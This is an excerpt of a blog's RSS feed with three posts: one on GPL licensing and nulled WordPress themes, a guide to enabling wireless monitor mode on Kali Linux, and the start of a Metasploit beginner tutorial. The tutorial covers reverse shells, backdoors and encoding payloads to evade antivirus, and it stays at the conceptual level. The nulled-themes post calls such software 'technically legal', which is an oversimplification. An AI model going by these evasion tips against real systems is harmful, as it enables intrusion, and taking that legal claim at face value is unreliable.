		<post-id xmlns="com-wordpress:feed-additions:1">3718</post-id>	</item>
		<item>
		<title>WordPress GPL, Nulled Themes &#038; Plugins: Legality &#038; Risks Explained</title>
		<link>https://nooblinux.com/wordpress-gpl-nulled-themes-plugins-legality-risks-explained/</link>
					<comments>https://nooblinux.com/wordpress-gpl-nulled-themes-plugins-legality-risks-explained/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Wed, 15 Mar 2023 09:36:54 +0000</pubDate>
				<category><![CDATA[Website Tools & Resources]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3699</guid>

					<description><![CDATA[In the world of WordPress, the use of themes and plugins is essential for creating unique, feature-rich websites. However, the topic of GPL-licensed themes and plugins, as well as nulled software, can sometimes lead to confusion and misunderstandings. In this article, we will explore the GPL license, its implications for WordPress themes and plugins, what [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In the world of WordPress, the use of themes and plugins is essential for creating unique, feature-rich websites. </p>



<p>However, <strong>the topic of GPL-licensed themes and plugins, as well as nulled software, can sometimes lead to confusion and misunderstandings</strong>. </p>



<p>In this article, we will explore the GPL license, its implications for WordPress themes and plugins, what nulled plugins and themes are, where to find them, and the potential risks of using nulled software.</p>






<h2 id="what-is-the-gpl-license" class="wp-block-heading">What Is the GPL License?</h2>



<p>The GNU General Public License (GPL) is a widely-used free software license that grants users the freedom to use, modify, and redistribute the software. </p>



<p class="neon-border has-palette-color-4-color has-black-background-color has-text-color has-background">A software license is like a set of rules or an agreement between the person who created the software (developer) and the person who wants to use it (user). It tells the user what they can and can&#8217;t do with the software, like using, sharing, or making changes to it. It&#8217;s a way for the developer to protect their work and control how it&#8217;s used.</p>



<p><strong>WordPress is an open-source software released under the GPL, which means that all software built on top of WordPress, including themes and plugins, must also be GPL-compatible</strong>. The GPL establishes four fundamental freedoms:</p>



<ol class="wp-block-list">
<li>Freedom to run the program for any purpose.</li>



<li>Freedom to study how the program works and to change it, so it performs computing as you wish.</li>



<li>Freedom to redistribute copies, so you can help your neighbor.</li>



<li>Freedom to distribute copies of your modified versions, giving the community a chance to benefit from your changes.</li>
</ol>



<p><strong>To summarize, if you build themes and plugins to work with WordPress, they must follow the GPL rules, which means they should be free and open-source.</strong></p>



<h3 id="gpl-and-wordpress-themes-and-plugins" class="wp-block-heading">GPL and WordPress Themes and Plugins</h3>



<p>When developing WordPress themes and plugins for public distribution, whether free or paid, developers should adhere to the GPL license. This ensures that users have the freedom to run, modify, and distribute the software or any modifications they make. </p>



<p>However, if you have no plans to distribute your theme or plugin, you do not need to adopt the GPL license for your work.</p>



<h2 id="what-are-nulled-wordpress-themes-and-plugins" class="wp-block-heading">What Are Nulled WordPress Themes and Plugins?</h2>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">Nulled themes and plugins are versions of premium WordPress products that have been modified to remove licensing restrictions, allowing them to be distributed for free or at a very low cost. <br><br>Given the GPL license, which grants users the freedom to use, modify, and redistribute software, <strong>nulled themes and plugins are technically legal</strong>.</p>



<p></p>



<h3 id="are-nulled-wordpress-themes-and-plugins-legal" class="wp-block-heading">Are Nulled WordPress Themes and Plugins Legal?</h3>



<p>As previously mentioned, <strong><span style="text-decoration: underline;">nulled themes and plugins are technically legal since they fall under the GPL license</span></strong>, which grants users the freedom to use, modify, and redistribute the software. </p>



<p>This means that even premium WordPress products released under the GPL can be modified and redistributed without violating any licensing terms. </p>



<h3 id="where-to-find-nulled-wordpress-themes-and-plugins" class="wp-block-heading">Where to Find Nulled WordPress Themes and Plugins</h3>



<p>While this article has discussed the legality and risks associated with using nulled themes and plugins, it is essential to reiterate that we do not encourage or endorse the use of nulled plugins and themes. </p>



<p>However, for informational purposes, we will briefly discuss the types of websites that typically offer nulled themes and plugins.</p>



<p class="red-border has-palette-color-4-color has-black-background-color has-text-color has-background">It is important to exercise extreme caution when visiting these sites, as they may contain malware or other security threats.</p>



<h4 id="nulled-script-websites" class="wp-block-heading">Nulled Script Websites</h4>



<p>There are numerous websites dedicated to providing nulled scripts, themes, and plugins. These sites claim to offer free downloads of premium WordPress products with licensing restrictions removed. It is important to exercise extreme caution when visiting these sites, as they may contain malware or other security threats.</p>



<h4 id="file-sharing-and-torrent-sites" class="wp-block-heading">File Sharing and Torrent Sites</h4>



<p>Some file-sharing and torrent websites may have nulled themes and plugins available for download. Again, the risks of downloading software from these sources are significant, as the files may contain hidden malicious code or be part of a larger scheme to distribute malware.</p>



<h4 id="online-forums-and-communities" class="wp-block-heading">Online Forums and Communities</h4>



<p>Nulled themes and plugins can sometimes be found in online forums or communities where users share resources. While these sources might seem more trustworthy than dedicated nulled script websites, it is still crucial to be cautious, as the files shared within these communities can also contain security threats.</p>



<h4 id="unofficial-marketplaces" class="wp-block-heading">Unofficial Marketplaces </h4>



<p>Some unofficial marketplaces or third-party sellers may offer nulled versions of premium WordPress products at a reduced price or for free. </p>



<p>While many unofficial marketplaces or third-party sellers can be unreliable and risky, some may offer a more trustworthy experience. </p>



<p><strong><span style="text-decoration: underline;">These marketplaces provide somewhat regular updates for the themes and plugins they distribute</span></strong>, although not as frequently as if you were to purchase the product directly from the original developer. </p>



<p>In exchange for a small fee, users can gain access to a large repository of themes and plugins.</p>



<p>Even in the case of reputable unofficial marketplaces, you most likely will not receive the same level of support as you would when purchasing directly from the developer. This can be a disadvantage, especially if you encounter technical issues or require assistance with customizations and configurations.</p>



<h3 id="reasons-not-to-use-nulled-wordpress-themes-and-plugins" class="wp-block-heading">Reasons Not to Use Nulled WordPress Themes and Plugins</h3>



<h4 id="security-risks" class="wp-block-heading">Security Risks</h4>



<p>Nulled themes and plugins may contain hidden malicious code or malware, compromising your website&#8217;s security. Even if the original product is GPL-licensed, there is no guarantee that the nulled version is free of such threats.</p>



<h4 id="lack-of-updates-and-support" class="wp-block-heading">Lack of Updates and Support</h4>



<p>By using a nulled theme or plugin, you may not receive important updates and support from the original developer. This can lead to compatibility issues, security vulnerabilities, and other problems in the long run.</p>



<h4 id="ethical-concerns" class="wp-block-heading">Ethical Concerns</h4>



<p>While the GPL allows you to modify and redistribute themes and plugins, using nulled software can still be seen as unethical, especially if the original developers rely on income from their products to continue creating and supporting them.</p>



<h4 id="discourages-innovation" class="wp-block-heading">Discourages Innovation</h4>



<p>Using nulled themes and plugins can hinder innovation within the WordPress community. When developers don&#8217;t receive compensation for their work, they may be less motivated to create new products, improve existing ones, or offer support. This can ultimately result in fewer high-quality themes and plugins available for users, negatively impacting the overall WordPress ecosystem.</p>



<h2 id="why-nulled-wordpress-themes-and-plugins-may-contain-malware-or-security-threats" class="wp-block-heading">Why Nulled WordPress Themes and Plugins May Contain Malware or Security Threats</h2>



<p class="purple-border has-palette-color-4-color has-black-background-color has-text-color has-background">Using nulled themes and plugins can pose significant risks to your website&#8217;s security, primarily due to the potential presence of hidden malware or other threats. <br><br><strong>But why would someone include such malicious code in nulled software, and how do they profit from it? </strong></p>



<p>Here&#8217;s a high-level overview of the motives and methods behind these security threats.</p>



<h3 id="financial-gain" class="wp-block-heading">Financial Gain</h3>



<p>One of the primary reasons for embedding malware in nulled themes and plugins is to generate revenue. People can profit by injecting ads, redirecting users to affiliate websites, or even promoting their own products and services. They may also use compromised websites to mine cryptocurrency, stealing computing resources from the site&#8217;s visitors and servers.</p>



<h3 id="data-theft" class="wp-block-heading">Data Theft</h3>



<p>By including malicious code in nulled software, attackers can gain unauthorized access to sensitive data, such as user credentials, customer information, and payment details. This stolen data can then be sold on the dark web or used for identity theft, credit card fraud, and other illegal activities.</p>



<h3 id="creating-botnets" class="wp-block-heading">Creating Botnets</h3>



<p>Nulled themes and plugins can be used to compromise a large number of websites, turning them into a network of infected machines, also known as a botnet. These botnets can be used to launch Distributed Denial of Service (DDoS) attacks, send spam emails, or distribute additional malware, all without the knowledge of the website owners.</p>



<h3 id="reputation-damage" class="wp-block-heading">Reputation Damage</h3>



<p>Attackers may use nulled software to deface websites, post inappropriate content, or redirect visitors to malicious sites. This can damage a website&#8217;s reputation, negatively impact its search engine rankings, and even lead to the suspension of hosting or domain services.</p>



<h3 id="ransomware-attacks" class="wp-block-heading">Ransomware Attacks</h3>



<p>In some cases, attackers may use nulled themes and plugins to infect websites with ransomware. This type of malware encrypts a site&#8217;s data, rendering it inaccessible until a ransom is paid to the attacker, usually in the form of cryptocurrency.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>Understanding the GPL license and its implications for WordPress themes and plugins is crucial for developers and users alike. While the GPL grants users significant freedom, it is important to exercise caution when using nulled software. The potential security risks, lack of support, and ethical concerns can outweigh any perceived benefits of using nulled software.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/wordpress-gpl-nulled-themes-plugins-legality-risks-explained/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3699</post-id>	</item>
		<item>
		<title>How to Enable Monitor Mode on TP-LINK TL-WN722N V2/V3</title>
		<link>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/</link>
					<comments>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Fri, 29 Jul 2022 19:53:46 +0000</pubDate>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3672</guid>

					<description><![CDATA[In this tutorial we&#8217;ll enable monitor mode on a TP-LINK TL-WN722N V2/V3 wireless adapter, on a Kali Linux machine running on VMware or VirtualBox. Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In this tutorial we&#8217;ll enable monitor mode on a <a href="https://www.tp-link.com/us/home-networking/usb-adapter/tl-wn722n/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-LINK TL-WN722N V2/V3<span class="wpel-icon wpel-image wpel-icon-19"></span></a> wireless adapter, on a Kali Linux machine running on VMware or VirtualBox. </p>



<p>Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor mode, Atheros AR9271, and that you can&#8217;t enable it on V2/V3. You can, however.</p>



<p>To start off, if you&#8217;re using a virtual machine, first you&#8217;ll have to connect your <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">wireless adapter to your Kali Linux virtual machine</a>.</p>



<h2 id="set-up-the-adapter" class="wp-block-heading">Set up the Adapter</h2>



<p>Next, we&#8217;ll run some commands to set up the adapter.</p>



<p>First update and upgrade your package index.</p>



<pre class="wp-block-preformatted promptkali">sudo apt update &amp;&amp; sudo apt upgrade</pre>



<p>Reboot your machine.</p>



<pre class="wp-block-preformatted promptkali">sudo reboot</pre>



<p>Install Linux headers for your Kali Linux.</p>



<pre class="wp-block-preformatted promptkali">sudo apt install linux-headers-$(uname -r)
</pre>



<p>Run the following commands to install the <code>bc</code> package and remote the <code>r8188eu.ko</code> module.</p>



<pre class="wp-block-preformatted promptkali">sudo apt install bc</pre>
<pre class="wp-block-preformatted promptkali">sudo rmmod r8188eu.ko</pre>



<p>Clone the Realtek driver from the <code>aircrack-ng</code> Github repository.</p>



<pre class="wp-block-preformatted promptkali">git clone https://github.com/aircrack-ng/rtl8188eus</pre>



<p>Run the following commands.</p>



<pre class="wp-block-preformatted promptkali">cd rtl8188eus</pre>
<pre class="wp-block-preformatted promptkali">sudo -i</pre>
<pre class="wp-block-preformatted promptkali">echo "blacklist r8188eu" &gt; "/etc/modprobe.d/realtek.conf"</pre>
<pre class="wp-block-preformatted promptkali">exit</pre>
<pre class="wp-block-preformatted promptkali">reboot</pre>



<p>After the reboot run the following commands (we have to <code>cd</code> back into the <code>rtl8188eus</code> directory that we cloned earlier):</p>



<pre class="wp-block-preformatted promptkali">cd rtl8188eus</pre>
<pre class="wp-block-preformatted promptkali">make</pre>
<pre class="wp-block-preformatted promptkali">sudo make install</pre>
<pre class="wp-block-preformatted promptkali">sudo modprobe 8188eu</pre>



<h2 id="enable-monitor-mode" class="wp-block-heading">Enable Monitor Mode</h2>



<p>To enable monitor mode, run the following commands:</p>



<pre class="wp-block-preformatted promptkali">sudo ifconfig wlan0 down</pre>
<pre class="wp-block-preformatted promptkali">sudo airmon-ng check kill</pre>
<pre class="wp-block-preformatted promptkali">sudo iwconfig wlan0 mode monitor</pre>
<pre class="wp-block-preformatted promptkali">sudo ifconfig wlan0 up</pre>
<pre class="wp-block-preformatted promptkali">sudo iwconfig</pre>



<p>Here&#8217;s the output you should be seeing. You can see that the adapter is set to <code>Mode: Monitor</code>.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="910" height="299" src="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode.png" alt="" class="wp-image-3675" srcset="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode.png 910w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-300x99.png 300w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-768x252.png 768w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<h3 id="troubleshooting-when-enabling-monitor-mode" class="wp-block-heading">Troubleshooting When Enabling Monitor Mode</h3>



<p>In some cases it doesn&#8217;t work right away. For example you may get the error <code>Error for wireless request "Set Mode" (8B06) : SET failed on device wlan0 ; Operation not permitted.</code></p>



<p>The solution that has worked for me every time is the following (credit to this <a href="https://github.com/mfruba/kernel/issues/28#issuecomment-742997493" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Github user&#8217;s comment<span class="wpel-icon wpel-image wpel-icon-19"></span></a>).</p>



<p>Run the following commands in this order:</p>



<pre class="wp-block-code"><code>sudo ifconfig wlan0 up
sudo rmmod r8188eu.ko
sudo modprobe 8188eu
sudo iwconfig wlan0 mode auto
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up</code></pre>



<p>Now when you check <code>iwconfig</code> you should see the adapter is in monitor mode.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="909" height="643" src="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2.png" alt="" class="wp-image-3680" srcset="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2.png 909w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2-300x212.png 300w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2-768x543.png 768w" sizes="auto, (max-width: 909px) 100vw, 909px" /></figure>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>In this tutorial we set up a TP-LINK TL-WN722N V2/V3 adapter to run in monitor mode. If you have any issues or questions then please don&#8217;t hesitate to leave a comment. Hope this helped. Thank you.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/feed/</wfw:commentRss>
			<slash:comments>35</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3672</post-id>	</item>
		<item>
		<title>Metasploit Tutorial for Beginners &#8211; Basics to Advanced</title>
		<link>https://nooblinux.com/metasploit-tutorial/</link>
					<comments>https://nooblinux.com/metasploit-tutorial/#comments</comments>
		
		<dc:creator><![CDATA[Mahmud Hasan Saikot]]></dc:creator>
		<pubDate>Mon, 07 Feb 2022 07:38:00 +0000</pubDate>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Networking]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3536</guid>

					<description><![CDATA[Metasploit, one of the most widely used penetration testing tools, is a very powerful all-in-one tool for performing different steps of a penetration test. If you ever tried to exploit some vulnerable systems, chances are you have used Metasploit, or at least, are familiar with the name. It allows you to find information about system [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Metasploit, one of the most widely used penetration testing tools, is a very powerful all-in-one tool for performing different steps of a penetration test. </p>



<p>If you ever tried to exploit some vulnerable systems, chances are you have used Metasploit, or at least, are familiar with the name. It allows you to find information about system vulnerabilities, use existing exploits to penetrate the system, helps create your own exploits, and much more. </p>



<p>In this tutorial, we’ll be covering the basics of Metasploit Framework in detail and show you real examples of how to use this powerful tool to the fullest. </p>






<h1 id="installing-metasploit" class="wp-block-heading"><a id="post-3536-_heading=h.gjdgxs"></a>Installing Metasploit</h1>



<p>Metasploit is available for Windows and Linux OS, and you can download the source files from the official repository of the tool in Github. If you are running any OS designed for penetration testing, e.g., Kali Linux, it will be pre-installed in your system. We’ll be covering how to use Metasploit Framework version 6 on Kali Linux. However, the basics will remain the same wherever you’re using Metasploit. </p>



<h2 id="installing-metasploit-on-linux" class="wp-block-heading"><a id="post-3536-_heading=h.30j0zll"></a>Installing Metasploit on Linux</h2>



<p>To install Metasploit in Linux you have to get the package <strong>metasploit-framework</strong>. On Debian and Ubuntu based Linux distros, you can use the apt utility: </p>



<pre class="wp-block-code prompt"><code>apt install metasploit-framework</code></pre>



<p>   On CentOS/Redhat you can the yum utility to do the same: </p>



<pre class="wp-block-preformatted promptrhel">yum install metasploit-framework</pre>



<h2 id="find-out-the-version-of-metasploit-and-updating" class="wp-block-heading"><a id="post-3536-_heading=h.1fob9te"></a>Find out the version of Metasploit and updating</h2>



<p>   If you’re not sure if you have Metasploit or not, you can confirm by typing <code>msfconsole</code> in your terminal: </p>



<pre class="wp-block-code prompt"><code>msfconsole</code></pre>



<pre class="wp-block-code"><code> _                                                    _
/ \    /\         __                         _   __  /_/ __                                                                                                                                                      
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \                                                                                                                                                     
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|                                                                                                                                                    
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_                                                                                                                                                    
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\                                                                                                                                                   
                                                                                                                                                                                                                 

       =&#091; metasploit v6.1.27-dev                          ]
+ -- --=&#091; 2196 exploits - 1162 auxiliary - 400 post       ]
+ -- --=&#091; 596 payloads - 45 encoders - 10 nops            ]
+ -- --=&#091; 9 evasion                                       ]

Metasploit tip: Tired of setting RHOSTS for modules? Try 
globally setting it with setg RHOSTS x.x.x.x</code></pre>



<p class="has-palette-color-4-color has-text-color has-background" style="background-color:#000000"><strong>Metasploit Tip</strong>: Start commands with a space to avoid saving them to history </p>



<p>As you can see my machine already has Metasploit Framework installed. </p>



<p>Metasploit changes its greeting messages every time you fire up the Metasploit Framework with the <code>msfconsole</code> command, so you might see a different greeting message when you run it.</p>



<p>You can also find out which version is installed once the program loads. Type in <code>version</code> and hit enter to get the answer: </p>



<pre class="wp-block-code promptmsf6"><code>version</code></pre>



<pre class="wp-block-code"><code>Framework: 6.1.27-dev
Console  : 6.1.27-dev</code></pre>



<p>I am using version 6. If you haven’t updated your Metasploit anytime soon, it’s a good idea to update it before starting to use it. This is because if the tool is old then the updated exploits will not get added to the database of your Metasploit Framework. You can update the program by the <code>msfupdate</code> command: </p>



<p>
  msf6 &gt; msfupdate
</p>



<p>
  [*] exec: msfupdate
</p>



<p>
  msfupdate is no longer supported when Metasploit is part of the operating
</p>



<p>
  system. Please use &#8216;apt update; apt install metasploit-framework&#8217;
</p>



<p>As you can see the <code>msfupdate</code> command is not supported. This happened because Metasploit is already a part of the operating system in the Kali Linux updated versions. If you’re using older versions of the Kali Linux, this command will work fine for your system. </p>



<p>Now that you know how to install and update the Metasploit framework, let’s begin learning some of the basics related to Metasploit. </p>



<h1 id="basics-of-penetration-testing" class="wp-block-heading"><a id="post-3536-_heading=h.3znysh7"></a>Basics of Penetration testing</h1>



<p>Before we begin, let’s familiarize ourselves with some of the steps of a penetration test briefly. If you’re already familiar with the concept then you can just skip ahead to the good part. Let’s list some of the fundamental steps in penetration testing: </p>



<ol class="wp-block-list"><li>Information Gathering / Reconnaissance    </li><li>Vulnerability Analysis   </li><li>Exploitation   </li><li>Post Exploitation   </li><li>Report   </li></ol>



<h3 id="1-information-gathering-reconnaissance" class="wp-block-heading"><a id="post-3536-_heading=h.2et92p0"></a>1. Information gathering / Reconnaissance</h3>



<p>At the very beginning of any penetration testing, information gathering is done. The more information you can gather about the target, the better it will be for you to know the target system and use the information later in the process. Information may include crucial information like the open ports, running services, or general information such as the domain name registration information. Various techniques and tools are used for gathering information about the target such as – <strong>nmap</strong>, <strong>zenmap</strong>, <strong>whois</strong>, <strong>nslookup</strong>, <strong>dig</strong>, <strong>maltego</strong>, etc.  </p>



<p>One of the most used tools for information gathering and scanning is the <code>nmap</code> or <strong>Network Mapper</strong> utility. For a comprehensive tutorial for information gathering and <code>nmap</code> which you can check out from <a href="https://bytexd.com/how-to-use-nmap/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. </p>



<h3 id="2-vulnerability-analysis" class="wp-block-heading"><a id="post-3536-_heading=h.tyjcwt"></a>2. Vulnerability Analysis</h3>



<p>In this step, the potential vulnerabilities of the target are analyzed for further actions. Not all the vulnerabilities are of the same level. Some vulnerabilities may give you entire access to the system once exploited while some may only give you some normal information about the system. The vulnerabilities that might lead to some major results are the ones to go forward with from here. This is the step where Metasploit gives you a useful database to work with. </p>



<h3 id="3-exploitation" class="wp-block-heading"><a id="post-3536-_heading=h.3dy6vkm"></a>3. Exploitation</h3>



<p>After the identified vulnerabilities have been analyzed, this is the step to take advantage of the vulnerabilities. </p>



<p>In this step, specific programs/exploits are used to attack the machine with the vulnerabilities. </p>



<p>You might wonder, <em><span style="text-decoration: underline;">where do these exploits come from</span></em>? </p>



<p>Exploits come from many sources. One of the primary source is the vulnerability and exploit researchers. People do it because there is a lot at stake here i.e., there may be huge sums of money involved as a bounty. </p>



<p>Now, you may ask if the vulnerabilities are discovered, aren’t those application already fixed? The answer is yes, they are. But the fix comes around in the next update of the application. </p>



<p>Those who are already using the outdated version might not get the update and remains vulnerable to the exploits. The Metasploit Framework is the most suitable tool for this step. It gives you the option to choose from thousands of exploits and use them directly from the Metasploit console. New exploits are updated and incorporated in Metasploit regularly. You may also add some other exploits from online exploit databases like <a href="https://www.exploit-db.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Exploit-DB<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. </p>



<p>Further, not all the exploits are ready-made for you to use. Sometimes you might have to craft your own exploit to evade security systems and intrusion detection systems. Metasploit also has different options for you to explore on this regard. </p>



<h3 id="4-post-exploitation" class="wp-block-heading"><a id="post-3536-_heading=h.1t3h5sf"></a>4. Post Exploitation</h3>



<p>This is the step after you’ve already completed exploiting the target system. You’ve got access to the system and this is where you will decide what to do with the system. You may have got access to a low privilege user. You will try to escalate your privilege in this step. You may also keep a backdoor the victim machine to allow yourself to enter the system later whenever you want. Metasploit has numerous functionalities to help you in this step as well. </p>



<h3 id="5-report" class="wp-block-heading"><a id="post-3536-_heading=h.4d34og8"></a>5. Report</h3>



<p>This is the step that many penetration testers will have to complete. After carrying out their testing, the company or the organization will require them to write a detailed report about the testing and improvement to be done. </p>



<p>Now, after the long wait, let’s get into the basics of the actual program – Metasploit Framework. </p>



<h1 id="basics-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.2s8eyo1"></a>Basics of Metasploit Framework</h1>



<p>In this section, we’ll learn all the basics related to Metasploit Framework. This will help us understand the terminologies related to the program and use the basic commands to navigate through. </p>



<h2 id="modules-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.17dp8vu"></a>Modules of Metasploit Framework</h2>



<p>As discussed earlier, Metasploit can be used in most of the penetration testing steps. The core functionalities that Metasploit provides can be summarized by some of the modules: </p>



<ol class="wp-block-list"><li>Exploits   </li><li>Payloads   </li><li>Auxiliaries   </li><li>Encoders   </li></ol>



<p>Now we’ll discuss each of them and explain what they mean. </p>



<h3 id="1-exploits" class="wp-block-heading"><a id="post-3536-_heading=h.3rdcrjn"></a>1. Exploits</h3>



<p>Exploit is the program that is used to attack the vulnerabilities of the target. There is a large database for exploits on Metasploit Framework. You can search the database for the exploits and see the information about how they work, the time they were discovered, how effective they are, and so on. </p>



<h3 id="2-payloads" class="wp-block-heading"><a id="post-3536-_heading=h.26in1rg"></a>2. Payloads</h3>



<p>Payloads perform some tasks after the exploit runs. There are different types of payloads that you can use. For example, you could use the reverse shell payload, which basically generates a <strong>shell</strong>/<strong>terminal</strong>/<strong>cmd </strong>in the victim machine and connects back to the attacking machine. </p>



<p>Another example of a payload would be the bind shell. This type of shell creates a listening port on the victim machine, to which the attacker machine then connects. The advantage of a reverse shell over the bind shell is that the majority of the system firewalls generally do not block the outgoing connections as much as they block the incoming ones.  </p>



<p>Metasploit Framework has a lot of options for payloads. Some of the most used ones are the reverse <strong>shell</strong>, <strong>bind shell</strong>, <strong>meterpreter</strong>, etc. </p>



<h3 id="3-auxiliaries" class="wp-block-heading"><a id="post-3536-_heading=h.lnxbz9"></a>3. Auxiliaries</h3>



<p>These are the programs that do not directly exploit a system. Rather they are built for providing custom functionalities in Metasploit. Some auxiliaries are sniffers, port scanners, etc. These may help you scan the victim machine for information gathering purposes. For example, if you see a victim machine is running <strong>ssh</strong> service, but you could not find out what version of <strong>ssh</strong> it is using &#8211; you could scan the port and get the version of <strong>ssh</strong> using auxiliary modules. </p>



<h3 id="4-encoders" class="wp-block-heading"><a id="post-3536-_heading=h.35nkun2"></a>4. Encoders</h3>



<p>Metasploit also provides you with the option to use encoders that will encrypt the codes in such a way that it becomes obscure for the threat detection programs to interpret. They will self decrypt and become original codes when executed. However, the encoders are limited and the anti-virus has many signatures of them already in their databases. So, simply using an encoder will not guarantee anti-virus evasion. You might get past some of the anti-viruses simply using encoders though. You will have to get creative and experiment changing the payload so it does not get detected. </p>



<h2 id="components-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.1ksv4uv"></a>Components of Metasploit Framework</h2>



<p>Metasploit is open-source and it is written in Ruby. It is an extensible framework, and you can build custom features of your likings using Ruby. You can also add different plugins. At the core of the Metaslpoit framework, there are some key components: </p>



<ol class="wp-block-list"><li>msfconsole   </li><li>msfdb   </li><li>msfvenom   </li><li>meterpreter   </li></ol>



<p>Let’s talk about each of these components. </p>



<h3 id="1-msfconsole" class="wp-block-heading"><a id="post-3536-_heading=h.44sinio"></a>1. msfconsole</h3>



<p>This is the command line interface that is used by the Metasploit Framework. It enables you to navigate through all the Metasploit databases at ease and use the required modules. This is the command that you entered before to get the Metasploit console. </p>



<h3 id="2-msfdb" class="wp-block-heading"><a id="post-3536-_heading=h.2jxsxqh"></a>2. msfdb</h3>



<p>Managing all the data can become a hurdle real quick, which is why Metasploit Framework gives you the option to use PostgreSQL database to store and access your data quickly and efficiently. For example, you may store and organize your scan results in the database to access them later. You can take a look at this tutorial to learn more about this tool &#8211; <a href="https://null-byte.wonderhowto.com/how-to/use-metasploits-database-stay-organized-store-information-while-hacking-0192643/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://null-byte.wonderhowto.com/how-to/use-metasploits-database-stay-organized-store-information-while-hacking-0192643/<span class="wpel-icon wpel-image wpel-icon-19"></span></a> </p>



<h3 id="3-msfvenom" class="wp-block-heading"><a id="post-3536-_heading=h.z337ya"></a>3. msfvenom</h3>



<p>This is the tool that mimics its name and helps you create your own payloads (venoms to inject in your victim machine). This is important since your payload might get detected as a threat and get deleted by threat detection software such as anti-viruses or anti-malware. </p>



<p>This happens because the threat detection systems already has stored fingerprints of many malicious payloads. There are some ways you can evade detection. We’ll discuss this in the later section dedicated to <code>msfvenom</code>. </p>



<h3 id="4-meterpreter" class="wp-block-heading"><a id="post-3536-_heading=h.3j2qqm3"></a>4. meterpreter</h3>



<p><code>meterpreter</code> is an advanced payload that has a lot of functionalities built into it. It communicates using encrypted packets. Furthermore, <strong>meterpreter</strong> is quite difficult to trace and locate once in the system. It can capture screenshots, dump password hashes, and many more. </p>



<h2 id="metasploit-location-on-the-drive" class="wp-block-heading"><a id="post-3536-_heading=h.1y810tw"></a>Metasploit location on the drive</h2>



<p>Metasploit Framework is located in <strong>/usr/share/metasploit-framework/</strong> directory. You can find out all about its components and look at the exploit and payload codes. You can also add your own exploits here to access it from the Metasploit console.  </p>



<p>Let’s browse through the Metasploit directory: </p>



<pre class="wp-block-code prompt"><code>cd /usr/share/metasploit-framework</code></pre>



<p>Type in <code>ls</code> to see the contents of the directory: </p>



<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>app                           msfconsole       Rakefile
config                        msfd             ruby
data                          msfdb            script-exploit
db                            msf-json-rpc.ru  script-password
documentation                 msfrpc           script-recon
Gemfile                       msfrpcd          scripts
Gemfile.lock                  msfupdate        tools
lib                           msfvenom         vendor
metasploit-framework.gemspec  msf-ws.ru
modules                       plugins</code></pre>



<p>As you can see, there is a directory called modules, which should contain the exploits, payloads, auxiliaries, encoders, as discussed before. Let’s get into it: </p>



<pre class="wp-block-code prompt"><code>cd modules</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>auxiliary  encoders  evasion  exploits  nops  payloads  post</code></pre>



<p>All the modules discussed are present here. However, <code>evasion</code>, <code>nops</code>, and <code>post</code> are the additional entries. The <code>evasion</code> module is a new entry to the Metasploit Framework, which helps create payloads that evade anti-virus (AV) detection. <code>Nop</code> stands for <strong>no operation</strong>, which means the CPU will just move to the next operation. <code>Nops</code> help create randomness in the payload &#8211; as adding them does not change the functionality of the program. </p>



